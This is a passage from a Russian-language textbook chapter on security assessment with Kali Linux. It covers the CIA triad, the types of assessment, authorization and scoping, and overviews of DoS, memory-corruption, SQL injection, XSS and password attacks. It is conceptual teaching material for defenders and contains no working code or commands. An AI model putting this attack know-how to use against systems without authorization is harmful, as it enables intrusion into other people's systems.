Глава 6 Введение в оценку уровня безопасности В качестве примера рассмотрим веб-приложение, подверженное SQL-инъекции. Конфиденциальность. Уязвимость SQL-инъекции предоставляет злоумышленнику возможность несанкционированного доступа к веб-приложению, что позволяет ему извлекать все данные, но не изменять информацию или отключать доступ к базе данных. Целостность. Уязвимость SQL-инъекции позволяет злоумышленнику изменять существующую информацию в базе данных. Однако злоумышленник не может прочитать данные или помешать другим получить доступ к базе. Доступность. Уязвимость внедрения SQL-кода инициирует длительный запрос, потребляющий большой объем ресурсов сервера. Если этот запрос будет выполнен несколько раз, это приведет к сбою системы. Злоумышленника не может прочитать или изменить данные, но может запретить доступ к веб-приложению авторизированным пользователям. Сочетание нескольких особенностей. Уязвимость SQL-инъекции предоставляет интерактивный доступ к оболочке ОС хоста, на котором функционирует веб-приложение. С таким доступом злоумышленник может нарушить конфиденциальность системы, получая доступ к данным по своему усмотрению. Это ставит под угрозу целостность системы, поскольку она может изменять данные по своему усмотрению. Также злоумышленник может повлиять на доступность системы, имея возможность ограничить или полностью запретить доступ к веб-приложению. Как видно, концепция CIA-Triad на самом деле несложная, и вы можете работать с ней интуитивно. Именно она помогает вам распознать, на каких областях необходимо сосредоточить внимание, и определить критические компоненты ваших систем. Вы также можете использовать ее для оценки того, какие усилия и ресурсы стоит вложить в устранение выявленных проблем. Еще одно понятие, которое следует рассмотреть, — это риск, сочетание угрозы и уязвимости. Это понятие несложное, но отдельные термины можно легко перепутать. Более детально мы проанализируем эти концепции в дальнейшем (раздел 6.2.1). Сейчас достаточно определить термины следующим образом: ◾ Риск — то, что вы хотите предотвратить. ◾ Угроза — то, что может быть сделано с вами. ◾ Уязвимость — то, что делает возможным для кого то сделать это. ‑ Допустим, вы на сафари и есть риск, что вас съест лев. Угроза для вас — лев, который может съесть вас. Мы не защищены от дикой природы, поэтому должны быть уверены, что уменьшим эту слабость. Это можно сделать, во- 96
6.2 Виды оценок оружившись и/или проехав по степи Африки в автомобиле вместо пешей прогулки. Риск остается неизменным, несмотря на все меры безопасности. Эти меры (оружие и транспортное средство) минимизируют как угрозу, так и уязвимость. 6.2 Виды оценок После того как вы подготовили свою тестовую среду, вам необходимо точно определить, какие виды оценок вы хотите провести. В этом разделе мы рассмотрим четыре вида оценок: ◾ ◾ ◾ ◾ Анализ уязвимости. Тест на соответствие. Традиционный тест на проникновение. Оценка приложений. В зависимости от задания могут быть выполнены различные элементы каждого типа оценок. Однако важно более подробно ознакомиться с этими четырьмя аспектами и понять их значимость для вашей системы. Прежде чем мы перейдем к различным видам оценок, важно понять разницу между уязвимостью и эксплойтом. Уязвимость — это ошибка эксплуатации, которая ставит под угрозу конфиденциальность, целостность или доступность информационной системы. Существует множество различных типов уязвимостей, в том числе: ◾ Файловое включение — уязвимость, связанная с файловым включением. Обнаружена в веб-приложениях, которые используют содержимое локального или удаленного файла в процессе обработки данных. Например, в веб-приложении есть функция, которая считывает последние новости из файла и отображает их на веб-странице для пользователей. В случае неправильной реализации этот тип функции может использовать злоумышленник и изменить веб-запрос, чтобы заставить страницу получить содержимое выбранного им файла. ◾ SQL-инъекция — при такой атаке процедуры, которые должны проверять вводимые данные, обманываются так, что злоумышленник может заставить целевое приложение выполнить команды SQL. Это одна из форм выполнения команд, которая может привести к потенциальным проблемам безопасности. ◾ Переполнение буфера — уязвимость, при которой данные записываются в соседнюю область памяти. Иногда она может быть критически важной для функционирования целевой программы или ОС. 97
Глава 6 Введение в оценку уровня безопасности Состояние гонки — уязвимость, при которой в программе используются зависимости от времени. В некоторых случаях весь рабочий процесс программы зависит от определенной последовательности событий и, если злоумышленник изменит эту последовательность, это может привести к повреждению. В отличие от этого, эксплойт — это ПО, которое использует определенную уязвимость системы (хотя не все уязвимости могут быть использованы). Эксплойт должен изменить текущий процесс, чтобы выполнять непреднамеренные действия, поэтому его создание может быть сложным. Усугубляет ситуацию то, что ряд технологий защиты от эксплойтов в современных компьютерных платформах затрудняет эксплуатацию уязвимостей таких, как Data Execution Prevention (DEP) и Address Space Layout Randomization (ASLR). Однако это не значит, что отсутствие публично известного эксплойта для определенной уязвимости свидетельствует о том, что его не существует или нельзя создать. Множество организаций продают коммерческие эксплойты, которые никогда не публикуются. Поэтому следует рассматривать все уязвимости как потенциально эксплуатируемые. 6.2.1 Анализ слабых сторон Уязвимостью считаются слабые места, которые могут поставить под угрозу конфиденциальность, целостность или доступность информационной системы. Анализ уязвимостей — это создание простого отчета об обнаруженных уязвимостях в целевой среде. Крайне важно понятие целевой среды. Вы всегда должны следить за тем, чтобы оставаться в рамках целевой сети, обозначенной клиентом и требуемыми целями. Выход за рамки оценки может привести к сбою в обслуживании и нарушению доверия к вашему клиенту. Кроме того, вы пересекаете границу закона, что может привести к судебным искам против вас. Тестирование уязвимостей, будучи относительно простым процессом, регулярно осуществляется в более зрелых средах для обеспечения необходимой осторожности. Во многих случаях используется автоматизированный инструмент, который вы можете найти, например, в Kali в категориях Vulnerability Analysis (анализ уязвимостей) или Web application (веб-приложения) для обнаружения систем в целевой среде, а также выявления и составления списка подслушивающих служб. Рекомендуется собрать максимально полную информацию, включая данные о серверном программном обеспечении, версии, платформе и других параметрах. Собранная информация затем проверяется на наличие известных признаков потенциальных проблем или уязвимостей. Эти сигнатуры состоят из комбинаций точек данных, которые могут указывать на известные проблемы. Всегда используется несколько точек данных: чем больше их доступно, тем точнее идентификация. Есть много потенциальных точек данных, к которым в первую очередь относятся: 98
6.2 Виды оценок ◾ Версия ОС. Есть вероятность, что ПО уязвимо на одной версии операционной системы, но не уязвимо на другой. Поэтому используемый сканер стремится максимально точно определить, на какой версии операционной системы размещено целевое приложение. ◾ Патч-уровень (уровень исправлений). Для ОС часто выпускаются исправления. Они не изменяют информацию о версии, но все же влияют на поведение уязвимости безопасности или (в идеале) полностью устраняют данную уязвимость. ◾ Архитектура процессора. Есть немало программных приложений для разных архитектур процессоров типа Intel X8g Intel xG4, а также несколько версий ARM и др. Следует отметить, что уязвимости в области безопасности могут быть специфичными для определенных архитектур. Таким образом, глубокое понимание архитектуры процессора критически важно для проведения точной оценки. ◾ Версия ПО. Это один из наиболее важных, если не самый важный, элемент, который необходимо зафиксировать для идентификации риска безопасности. Эти и многие другие точки данных используются как часть сканирования уязвимостей для создания подписи. Чем больше точек данных совпадает, тем точнее подпись. Результаты сканирования уязвимостей должны быть проверены вами и могут привести к следующим результатам: ◾ True Positive (настоящий положительный). Если вы обнаружили уязвимость безопасности, и это реально слабое место, то вы должны ее исследовать. Также важно исправить это или сообщить клиенту, как закрыть пробел. Настоящие дыры в безопасности должны быть исправлены быстро, ведь злоумышленниками могут использовать их, чтобы нанести вред вам или вашим клиентам. ◾ False Positive (ложное срабатывание). Сканирование выявляет проблему, однако это не реальная уязвимость безопасности. При оценке такие проблемы часто называют шумом, и они могут быть раздражающими. Ни в коем случае нельзя игнорировать обнаруженную проблему, считая ее ложным срабатыванием, без более тщательной проверки. ◾ True Negative (настоящий отрицательный). Сканер не может обнаружить проблему, указывающую на уязвимость в системе безопасности. Это идеальный сценарий для того, чтобы гарантировать отсутствие уязвимости безопасности в целевой системе. ◾ False Negative (ложный отрицательный). Самый неблагоприятный исход, который может произойти. Даже если сканирование не выявляет никаких проблем, в системе все равно присутствует уязвимость. Ложный положительный результат вызывает раздражение, однако ложный отрицательный результат — катастрофа. Сканер не распознает проблему, и вы не узнаете о ее существовании. 99
Глава 6 Введение в оценку уровня безопасности Поэтому точность сигнатур (подписей) крайне важна для получения максимально точных результатов. Чем больше данных можно представить, тем выше вероятность получить точные результаты при автоматическом сканировании. Именно поэтому аутентифицированные сканы — популярный инструмент для анализа уязвимостей. Аутентифицированное сканирование использует заданные учетные данные для сканирования, чтобы аутентифицироваться на целевой системе и получить к ней более глубокий доступ. При обычном сканировании можно обнаружить только информацию о системе, которую можно получить из инструментов перехвата и их функций. Иногда это довольно большой объем информации. Однако если вы аутентифицируетесь на системе, вы можете получить полную информацию: установленное ПО, примененные патчи, запущенные процессы и т. д. Этот объем данных полезен для выявления потенциальных уязвимостей, которые в противном случае могли бы остаться незамеченными. Правильно проведенная оценка уязвимостей может дать вам представление о потенциальных проблемах в организации, а также предоставить метрики для измерения изменений с течением времени. Сканирование уязвимостей — это относительно простая оценка, которую многие организации проводят регулярно и автоматизировано. Сканирование обычно проводится в нерабочее время, чтобы не влиять на доступность и пропускную способность серверов. Как известно, сканирование уязвимостей должно контролировать множество различных точек данных для получения точных результатов. Эти проверки могут создавать нагрузку на целевую систему и потреблять значительное количество пропускной способности. Оценить, сколько ресурсов используется в целевой системе, невозможно, поскольку это зависит от количества запущенных служб и типов связанных с ними проверок. Тем не менее важно иметь общее представление о потребляемых ресурсах и о том, какую нагрузку может выдержать целевая система. Совет Сканеры уязвимостей часто включают опцию установки угроз для каждого сканирования, которая определяет количество сканирований, выполняемых одновременно. Увеличение этого числа напрямую повлияет на нагрузку платформы Assess Onent, а также на сети и целевые системы, с которыми вы взаимодействуете. Обязательно учитывайте это при использовании данных сканеров. Конечно, есть соблазн увеличить количество угроз, чтобы ускорить сканирование. Но стоит иметь в виду увеличение нагрузки. 100
6.2 Виды оценок Оценка рисков Как только сканирование уязвимостей завершено, выявленные проблемы связываются с распространенными отраслевыми идентификаторами, такими как CVE-номер 21 EDB ID 22 и инструкции производителя. Для оценки риска эта информация используется вместе с оценкой CVSS 23. Эти произвольные оценки рисков относятся к числу распространенных проблем, которые необходимо учитывать при анализе результатов сканирования. Поскольку основа автоматизированных инструментов — база данных подписей, используемая для выявления угроз безопасности, даже незначительное отклонение от известной сигнатуры может изменить результат. Как вы уже знаете, ложное срабатывание ошибочно идентифицирует несуществующую уязвимость, в то время как ложное отрицательное срабатывание не замечает существующие уязвимости. Поэтому сканер может быть хорош настолько, насколько хорош его набор правил. Многие поставщики предлагают несколько систем подписи: одна для частных пользователей, которая обычно бесплатна, и более дорогая и комплексная система, предназначенная для бизнес-клиентов. ­ Проблема, часто возникающая при проведении сканирования уязвимостей, — обоснованность предложенных оценок рисков. Оценка риска определяется с учетом множества факторов, таких как уровень разрешений, тип программного обеспечения и наличие предварительной или последующей аутентификации. В зависимости от исследуемой среды эти оценки могут быть действительными или недействительными. Рассматривайте эти выводы как рекомендации и не принимайте без критического анализа. Только обладая глубокими знаниями о системах и уязвимостях безопасности, вы сможете адекватно оценивать риски. Общего соглашения по оценке рисков нет, но специальная публикация NIST 24 800–30 25 — Руководство по оценке рисков — хорошая основа. Настоящий риск определяется как сочетание вероятности возникновения и возможных последствий. Вероятность возникновения Вероятность возникновения опасности основана на предположении, что конкретная угроза может воспользоваться конкретной уязвимостью. Возможны низкий, средний или высокий уровни. 21 22 23 24 25 https://cve.mitre.org/ https://www.exploit-db.com/ https://nvd.nist.gov/ National Institute of Standards and Technology. https://csrc.nist.gov/publications/detail/sp/800–30/rev 1/final ‑ 101
Глава 6 Введение в оценку уровня безопасности ◾ Высокий уровень: вероятность возникновения высока, если меры, принятые для защиты от уязвимости, недостаточны. ◾ Средний уровень: вероятность возникновения средняя, если принятые меры могут повлиять на успешность атаки. ◾ Низкий уровень: меры защиты от уязвимостей приняты и частично или полностью эффективны. Эффекты Степень воздействия определяется путем оценки ущерба, который может быть нанесен в случае использования уязвимости. ◾ Высокий — эксплуатация уязвимости приводит к значительному финансовому ущербу, серьезному ущербу репутации организации или даже травме, включая смерть. ◾ Средний — эксплуатация уязвимости приводит к финансовым потерям, ущербу репутации организации или травме людей. ◾ Низкий — использование уязвимости приводит к финансовым потерям или влияет на репутацию организации. Суммарный риск После определения вероятности возникновения и влияния вы также можете оценить общий риск. Он может быть определен как функция двух рейтингов. Как и два других показателя, общий риск может быть оценен как низкий, средний и высокий. Это предоставляет системным менеджерам рекомендации по резервному копированию и техническому обслуживанию. высокий средний низкий низкий средний Рис. 6.1. Матрица рисков для оценки общего риска 102 высокий
6.2 Виды оценок ◾ Высокий уровень. В этом случае необходимо незамедлительно принять дополнительные меры для защиты от уязвимостей в системе безопасности. Хотя системы могут продолжать функционировать, несмотря на существующие угрозы, меры по повышению уровня безопасности должны быть тщательно спланированы и реализованы в кратчайшие сроки. ◾ Средний уровень. Необходимо принять дополнительные меры для устранения уязвимостей. План действий должен быть разработан и внедрен без промедления. ◾ Низкий уровень. Владелец или уполномоченное лицо должны оценить необходимость дополнительных мер защиты, либо принять решение о том, чтобы оставить систему без изменений, осознавая возможные риски. Резюме Истинный риск обнаруженного недостатка безопасности зависит от множества факторов. Поэтому предварительная оценка риска, предоставляемая используемым инструментом, должна рассматриваться только как отправная точка для дальнейшей оценки. Тщательно подготовленный отчет по анализу уязвимостей, проведенный квалифицированным экспертом, может служить основой для последующих оценок, таких как тестирование на проникновение для проверки соответствия. Поэтому крайне важно понимать, как добиться оптимальных результатов при проведении начальной оценки. Почти все ОС, предназначенные для хакерской деятельности, — отличные платформы для анализа уязвимостей и не требуют специальной настройки. В меню «Приложения» вы найдете широкий спектр инструментов для анализа уязвимостей. Эти инструменты организованы в категории «Сбор информации», «Анализ уязвимостей» и «Веб-приложения». На нескольких веб-сайтах доступны ресурсы, посвященные использованию инструментов оценки уязвимостей, включая список инструментов Kali Linux 26, официальную документацию Kali Linux 27 и бесплатный курс Metasploit Unleashed 28. 6.2.2 Проверка на соответствие требованиям В следующем разделе мы рассмотрим тип оценки, известный как тест соответствия или тест на проникновение. Под термином «соответствие» подразумевается соблюдение законодательных и отраслевых стандартов. Этот тип оценки широко используется, так как он охватывает нормативные и отраслевые 26 https://tools.kali.org/tools-listing https://docs.kali.org/ https://www.offensive-security.com/metasploit-unleashed/ ­ 27 28 ­ ­ 103
Глава 6 Введение в оценку уровня безопасности требования, основанные на системе соответствия, в рамках которой функционирует вся организация. Проверка на соответствие часто начинается с анализа уязвимостей. При надлежащем выполнении это также частично удовлетворяет несколько основных требований к структуре соответствия (например, PCI DSS 29), включая: ◾ «НЕ используйте настройки по умолчанию, предоставленные производителем для системных паролей и других параметров безопасности» — проверьте, например, с помощью инструментов из категории меню «Парольные атаки». ◾ «Регулярно проводите тестирование систем и процессов безопасности», например, с использованием инструментов анализа безопасности баз данных. Некоторые из требований таких рамок, например, «Соблюдайте политику информационной безопасности для всех сотрудников», трудно реализовать с помощью традиционного инструментального анализа уязвимостей. От вас ожидаются дополнительные креативность и тестирование. Kali Linux и сопутствующие инструменты не всегда легко использовать для тестирования на соответствие требованиям. Однако они идеально подходят для определенных аспектов тестирования благодаря широкому спектру инструментов, связанных с безопасностью. Поскольку многие хакерские ОС основаны на Debian с открытым исходным кодом, можно установить много дополнительных инструментов. Поиск в менеджере пакетов с использованием тщательно подобранных ключевых слов, соответствующих требованиям выбранного фреймворка, обязательно приведет к множеству результатов. Именно поэтому Kali Linux зарекомендовала себя как стандартная платформа для этого типа оценки в ряде компаний. 6.2.3 Традиционный тест на проникновение Я намеренно выбрал такой заголовок, хотя этот термин сложно определить. Многие из вас будут работать с разными определениями в зависимости от области применения. Это можно объяснить тем, что термин «тест на проникновение» используется все чаще, включая вышеупомянутый тест на соответствие требованиям или даже анализ уязвимостей, когда вы не углубляетесь в оценку. Вот почему в данном разделе мы больше не будем обсуждать определения и сосредоточимся на тех элементах оценки, которые выходят за рамки минимальных требований. Это позволит вам получить общее представление 29 104 В зависимости от отрасли и страны существуют разные отраслевые системы соответствия. Известна PCI DSS (Payment Card Industry Data Security Standard), которая особенно подходит для сектора розничной торговли.
6.2 Виды оценок о состоянии безопасности организации и определить, что необходимо предпринять для улучшения статуса. В предыдущих оценках мы начинали с определения области, но в тесте на проникновение сначала нужно определить цель. Например: ◾ Что произойдет, если учетная запись сотрудника будет взломана? ◾ Что произойдет, если компания подвергнется целенаправленной атаке? Существенное отличие данного типа оценки заключается в том, что здесь не только выявляются и проверяются уязвимости, но и обнаруженные проблемы используются для моделирования наихудшего сценария. Недостаточно полагаться исключительно на инструменты для проверки уязвимостей безопасности; необходимо также проверять результаты с помощью эксплойтов или тестов для устранения ложных срабатываний, а также для выявления скрытых уязвимостей безопасности. Это позволяет использовать уязвимости, которые не были обнаружены в ходе анализа слабых мест. Как будет более подробно изложено в главе 7, тест на проникновение требует критического анализа цели с использованием ручного поиска. Специалисты должны применять творческий подход и аналитическое мышление, а также использовать разнообразные инструменты и методики для выявления дополнительных потенциальных уязвимостей, которые могут быть не обнаружены сканерами уязвимостей. По завершении процесса оценки необходимо будет провести повторный анализ, основываясь на полученной информации. Вы обнаружите, что этот подход включает множество оценок на различных этапах. Одно из преимуществ некоторых хакерских ОС типа Kali Linux — в меню можно найти инструменты для каждого этапа. ◾ Сбор информации. На этом этапе вы сосредоточиваетесь на получении максимально возможного объема информации о цели. Эта неинвазивная деятельность служит основой для дальнейшей оценки. Чем тщательнее вы выполните этот этап, тем успешнее будут последующие шаги. В категории «Сбор информации» вы найдете множество инструментов для этой цели. ◾ Сканирование. На этом этапе вы еще не осуществляете атаки на целевые системы, но стремитесь получить дополнительную информацию о системах и службах, которые используются. В процессе сканирования осуществляется поиск потенциальных уязвимостей в целевой среде. Также выполняется анализ уязвимостей, описанный ранее. Вы сможете обнаружить полезные инструменты в следующих категориях: ◾ Анализ уязвимостей. ◾ Веб-приложения. ◾ Оценка баз данных. ◾ Обратное проектирование. 105
Глава 6 Введение в оценку уровня безопасности ◾ Вторжение. Теперь, когда вы обнаружили потенциальные уязвимости безопасности, вы можете попытаться использовать их, чтобы получить доступ к целевым системам. Для этого уровня также доступно много инструментов, которые могут находиться в категориях «Веб-приложения», «Оценка баз данных», «Атаки на пароли» или «Инструменты эксплуатации». ◾ Постобработка и отчетность. Если вы успешно использовали уязвимость, все равно необходимо консолидировать доступ. После активного участия проводимая деятельность должна быть задокументирована. Также надо подготовить доклад, который будет менее техническим, чем остальная часть оценки. Это часть, из которой ваш клиент может извлечь выгоду. В категории «Инструменты отчетности» есть инструменты, которые могут быть полезны на этом этапе. Как правило, эти оценки имеют индивидуальную структуру, поскольку каждая организация сталкивается с разными угрозами и защищаемыми ресурсами. Именно поэтому Kali Linux (и другие дистрибутивы) очень хорошо подходит для тестирования на проникновение, так как это универсальная основа для оценок. Такие системы, как Kali BlackBox или ParrotOS, также проявляют свои сильные стороны, поскольку предоставляют множество функций настройки. Эти функции также используют многие компании, которые предлагают тестирование на проникновение для создания высоконастроенной версии предпочитаемой среды, чтобы быстро подготовить системы для новой оценки. 6.2.4 Оценка приложений Оценка приложений — это специализированный процесс, сосредоточенный на анализе конкретного приложения. Этот тип оценки становится все более актуальным в связи с растущей сложностью критически важных для бизнеса приложений, многие из которых часто разрабатывают внутренние команды. При необходимости оценка приложений может быть дополнена более детальным обзором. К приложениям, подлежащим проверке, относятся: ◾ Веб-приложения. Это очевидная мишень, поскольку они видны внешнему миру. Даже стандартный анализ часто находит базовые проблемы в веб-приложениях, но всегда стоит провести более детальную проверку, чтобы выявить проблемы с рабочим процессом приложений. Например, пакет Web-Meta-Paket Kali уже включает в себя ряд инструментов, которые могут помочь с оценкой. ◾ Десктопные приложения, разработанные собственными силами. Вероятно, вы уже знаете, что серверное ПО — это мишень. Но и десктопные приложения — тоже прекрасная цель. В прошлом многие из них, такие как программы для чтения PDF-файлов или веб-видеопрограммы, были очень популярными мишенями. Есть и множество других приложений, ­ 106 ­
6.2 Виды оценок которые при тщательной проверке обнаруживают большое количество уязвимостей. ◾ Мобильные приложения. Мобильные устройства становятся все более популярными, как и приложения для них. Эти приложения являются стандартными объектами атак, поэтому также должны учитываться при оценке. Инструменты для оценки можно найти в основной категории меню Reverse Engineering. Оценку приложений можно выполнить несколькими способами. Например, запустить автоматизированный инструмент для приложений, чтобы выявить потенциальные проблемы. Такие инструменты зависят не только от распознавания известных сигнатур, но и используют специфическую для приложения логику для поиска неизвестных проблем. Это значит, что данные инструменты должны иметь представление о поведении приложений. Пример этого — сканер уязвимостей веб-приложений типа Burp Suite. Он направлен против приложения и сначала обнаруживает разные поля ввода, а затем выполняет общие атаки с внедрением SQL-кода, одновременно отслеживая реакцию приложения, чтобы определить успех атаки. Если сценарий более сложный, вы можете выполнить оценку приложения в интерактивном режиме — в виде «черного ящика» или «белого ящика». ◾ Оценка «черного ящика» Black-Box-Assessment. Инструмент (или тестировщик) взаимодействует с приложением без особых знаний или прав доступа, выходящих за рамки стандартного пользователя. В этом случае тестировщик имеет доступ только к функциям и возможностям, доступным обычному пользователю. При этом используются те учетные записи, которые пользователь может зарегистрировать самостоятельно. Таким образом, злоумышленник не может проверить функции, доступные только пользователям, созданным администратором. ◾ Оценка «белого ящика» White-Box-Assessment. Инструмент (или тестировщик) обычно обладает неограниченным доступом к исходному коду, а также административными правами на платформе, где функционирует приложение. Это обеспечивает полный и всесторонний обзор всех функций приложения независимо от их местоположения. Тем не менее данная оценка не симулирует реальное вредоносное нападение, что может рассматриваться как недостаток. ­ ­ ­ ­ Как и в жизни, в мире безопасности нет только черного и белого: есть и оттенки серого между ними. Решающий фактор при проведении оценки — цель. Если она состоит в определении (прогнозе), что произойдет, если приложение подвергнется целенаправленной внешней атаке, то оценка «черного ящика» — вероятно, лучший выбор. Однако, если необходимо найти и устранить как можно больше уязвимостей за относительно короткий период времени, то подход «белого ящика» может быть более эффективным. 107
Глава 6 Введение в оценку уровня безопасности Также можно выбрать гибридный подход, при котором проверяющий не имеет полного доступа к исходному коду платформы, на которой выполняется проверяемое приложение. В этом случае учетные записи пользователей предоставляет администратор, чтобы обеспечить доступ к максимально возможному количеству функций. Kali — оптимальная платформа для проведения оценки различных типов приложений. В стандартной установке доступны разнообразные сканеры, специализированные для конкретных приложений. Кроме того, есть широкий спектр инструментов, редакторов исходного кода и скриптовых сред, предназначенных для более сложных оценок. 6.3 Стандартизация оценок Как только ваша среда Kali будет готова и тип оценки определен, вы почти готовы приступить к выполнению задачи. Но перед этим необходим последний шаг — стандартизация предстоящей работы. Это важный этап: он определяет, какие ожидания возлагаются на проект. Вы также получаете разрешение от своего клиента на осуществление потенциально незаконной деятельности. Поскольку это сложный, но важный этап, я лишь вкратце опишу его и не буду вдаваться в подробности. Конечно, не помешает, если вы заручитесь поддержкой юридических представителей вашей организации. В рамках процесса стандартизации вам нужно определить правила для проекта, включая, например: ◾ С какими системами вы вообще можете взаимодействовать? Обязательно убедитесь, что вы не вмешиваетесь в нечто критически важное для бизнес-операций. ◾ В какое время суток и в какой временной промежуток можно проводить тестирование? Некоторые организации устанавливают ограничения на время, в течение которого можно проводить тестирование. ◾ Можно ли использовать потенциальную уязвимость безопасности, если она обнаружена? Если нет, то какова процедура утверждения? Некоторые организации применяют здесь очень контролируемый подход, другие предпочитают более реалистичный. Стоит определить эти ожидания до начала работы. ◾ Как справиться с серьезной проблемой? Иногда организации требуют немедленного уведомления об обнаружении таковой; в остальных случаях она решается только по завершении оценки. ◾ Кто будет проинформирован об этом мероприятии? Как об этом сообщается? Во многих случаях организации также хотят протестировать реагирование на инциденты и их обнаружение в рамках тестирования. ­ 108
6.4 Виды атак Поэтому полезно знать, кто полностью информирован о тестировании, обеспечить определенную степень конфиденциальности. ◾ Что ожидается от оценки в конце? Каковы способы сообщения результатов? Знаете ли вы, чего ожидает каждая из сторон, участвующих в оценке по ее завершении? Четкое определение результата поможет удовлетворить все заинтересованные стороны после завершения проекта. Этот список вопросов неполный, но он дает общее представление о деталях, которые необходимо учесть. Важно отметить, что квалифицированную юридическую помощь трудно заменить. Как только все пункты будут определены, вам необходимо получить надлежащее разрешение на проведение атаки/ проникновения (Permission to Attack — PTA): большая часть действий, которые вы будете выполнять в рамках оценки, может быть незаконной без разрешения уполномоченного лица. В заключение необходимо провести валидацию. Никогда не полагайтесь на объем полученного разрешения: убедитесь, что он корректен. Всегда используйте несколько источников информации, чтобы удостовериться, что все системы, входящие в область применения, действительно принадлежат заказчику и находятся под его управлением. С распространением облачных сервисов вполне вероятно, что организация забудет, что она не владеет системами, которые использует. Это означает, что вам также может потребоваться разрешение от поставщика облачных услуг. Перед оценкой всегда проверяйте, владеет ли организация блоками IP-адресов, которые она подписала в качестве достижимых целей. Например, организация может запросить для оценки весь объем сети класса C, но в действительности ей принадлежит только подмножество адресов. В случае атаки на все адресное пространство класса C также попадут под незаконную атаку соседи по сети. Инструменты, которые могут помочь вам в процессе валидации, можно найти в категории меню «Сбор информации» под «OSINT-анализом». 6.4 Виды атак Какие атаки вы планируете осуществить после завершения всех подготовительных работ? Каждый тип уязвимости требует применения специфических методов. В разделе будут рассмотрены различные классы уязвимостей, с которыми вы наиболее часто сталкиваетесь. Независимо от типа уязвимости практически в любой ОС для хакерской деятельности вы найдете соответствующие инструменты и методики. Например, меню в Kali разделено на категории, что упрощает процесс поиска необходимых инструментов. В книге представлены наиболее важные инструменты для каждого из этапов. 109
Глава 6 Введение в оценку уровня безопасности 6.4.1 Отказ в обслуживании (DoS) DoS-атака эксплуатирует уязвимость в службе, что приводит к ее сбою, чаще всего из-за неработоспособности наиболее уязвимого процесса. Набор инструментов для достижения этой цели можно найти в категории «Стресстестирование». ­ Когда вы слышите об атаке типа «отказ в обслуживании», большинство сразу связывают ее с нападением на потребление ресурсов, в которой атаки отправляются одновременно из нескольких источников против одной цели. Это особый случай DoS — распределенного отказа в обслуживании (Distributed Denial of Service 30). Однако этот тип атаки редко входит в профессиональную оценку безопасности. В отличие от этого, атака с отказом в обслуживании (Denial of Service) — обычно следствие неудачной попытки эксплуатации уязвимости. В этой связи автор эксплойта публикует частично функциональный код, который затем используется для осуществления атаки и приводит к состоянию отказа в обслуживании. Даже корректно закодированный эксплойт может работать только в очень специфических условиях и способен вызвать отказ в обслуживании при минимальных обстоятельствах. Создается впечатление, что следует использовать только безопасно проверенный код эксплойта или самописный код. Однако даже в этом случае нет никаких гарантий, и это значительно ограничивает тестировщика, что может привести к худшему общему результату оценки. Лучше избегать использования доказательной базы и непроверенных эксплойтов при проведении оценки. И убедитесь, что у вас есть адвокат, который будет представлять вас в случае поломки. Атаки типа «отказ в обслуживании» чаще всего не запускаются намеренно. Большинство автоматизированных инструментов анализа слабых мест оценивают уязвимости типа «отказ в обслуживании» как менее рискованные, поскольку сервис может быть отключен, но не может быть использован для выполнения кода. Однако следует также учитывать, что такая уязвимость может скрывать более глубокую серьезную угрозу. Эксплойт для выполнения кода для известного отказа в обслуживании может существовать, но необязательно должен быть публичным. Всегда обращайте внимание на уязвимости типа «отказ в обслуживании» и призывайте своих клиентов исправлять их независимо от их часто низкой оценки угрозы. 30 110 DDoS-атаки — распределенная атака из нескольких источников (часто ботов) на одну цель.
6.4 Виды атак 6.4.2 Повреждения (сбой) памяти Сбой памяти — это случайное изменение положения в области памяти процесса, вызванное ошибками программирования. Сбой памяти обычно приводит к непредсказуемому поведению программы. Часто такая ошибка позволяет манипулировать памятью процесса, что дает возможность управлять потоком выполнения программы и инициировать предопределенные действия. Данный тип атаки также известен как «переполнение буфера» (Buffer Overflow), хотя этот термин — значительное упрощение. Разные виды повреждения памяти сильно отличаются друг от друга и требуют специфических тактик и приемов для успешной эксплуатации. ◾ Stack Buffer Overflow. Программа записывает в буфер стека больше данных, чем есть в памяти. Это может привести к повреждению соседнего пространства памяти — и аварийному завершению программы. ◾ Heap Corruption (повреждение кучи). Память кучи выделяется во время выполнения программы и обычно содержит данные, используемые этой программой. Повреждение кучи возникает, когда данные обрабатываются неправильно; это приводит к перезаписи информации в связанном списке указателей кучи. ◾ Integer Overflow (переполнение целого числа). Такие переполнения возникают, когда приложение пытается создать числовое значение, которое не может быть помещено в выделенную область памяти. ◾ Format String. Если программа принимает пользовательский ввод и форматирует его без проверки, то в зависимости от используемых форматов токенов могут быть показаны или перезаписаны места в памяти. 6.4.3 Уязвимости веб-сайтов Современные веб-сайты — не просто статические страницы, а динамичные платформы, разработанные с учетом потребностей пользователей, что делает их достаточно сложными. Эта сложность используется веб-сайтами для воздействия на логику отображения и представления информации для посетителей. Этот вид атак крайне распространен, так как многие организации достигли точки, когда у них осталось очень мало внешне ориентированных услуг. И вместо этого они предлагают сервисы, сопряженные с внутренними системами; к ним, например, относятся интернет-магазины, связанные с CRM-системой компании. Два самых распространенных типа атак на веб-приложения — это SQL-инъекция и межсайтовый скриптинг (XSS). ­ ◾ SQL-инъекции. Эти атаки используют некорректно запрограммированные приложения, которые не очищают пользовательский ввод как надо. 111
Глава 6 Введение в оценку уровня безопасности В результате из базы данных может быть извлечена информация или даже полностью захвачен сервер. ◾ Межсайтовый скриптинг. Как и в случае с SQL-инъекциями, XSS-атаки работают из-за неправильной очистки пользовательского ввода, что позволяет злоумышленникам манипулировать пользователем или сайтом, выполняя код в контексте собственного сеанса просмотра. Сложные и масштабные веб-приложения широко распространены и желанны как цель атаки для злоумышленников. Инструменты для поиска уязвимостей веб-приложений можно найти в категории «Анализ веб-приложений». 6.4.4 Атаки с использованием паролей Атаки с использованием паролей — угроза для системы аутентификации сервисов. Они обычно классифицируются на онлайн- и офлайн-атаки. Онлайн-атака с использованием паролей предполагает попытку использования нескольких паролей в функционирующей системе. В случае офлайн-атаки злоумышленник извлекает хешированные или зашифрованные значения паролей и пытается расшифровать их в виде обычного текста. Защита от таких атак заключается в том, что выполнение этого процесса требует значительных вычислительных ресурсов и ограничивает количество попыток злоумышленника в секунду. Есть и обходные пути, такие как использование процессоров (GPU) для увеличения числа возможных попыток. ­ ­ ­ В большинстве случаев атаки с использованием паролей основываются на стандартных паролях. Поскольку они известны, злоумышленники ищут эти стандартные учетные записи в надежде на успех. К другим распространенным видам атак относятся атаки с использованием специализированных словарей: в ходе их создается список слов, адаптированный к целевой среде, а затем осуществляется онлайн-атака на пароли обычных стандартных или известных учетных записей, при которой перебирается каждое слово по очереди. ­ При проведении оценки крайне важно осознать потенциальные последствия данных типов атак. Во-первых, они часто проявляются с высокой интенсивностью из-за многократных попыток аутентификации. Во-вторых, такие атаки могут 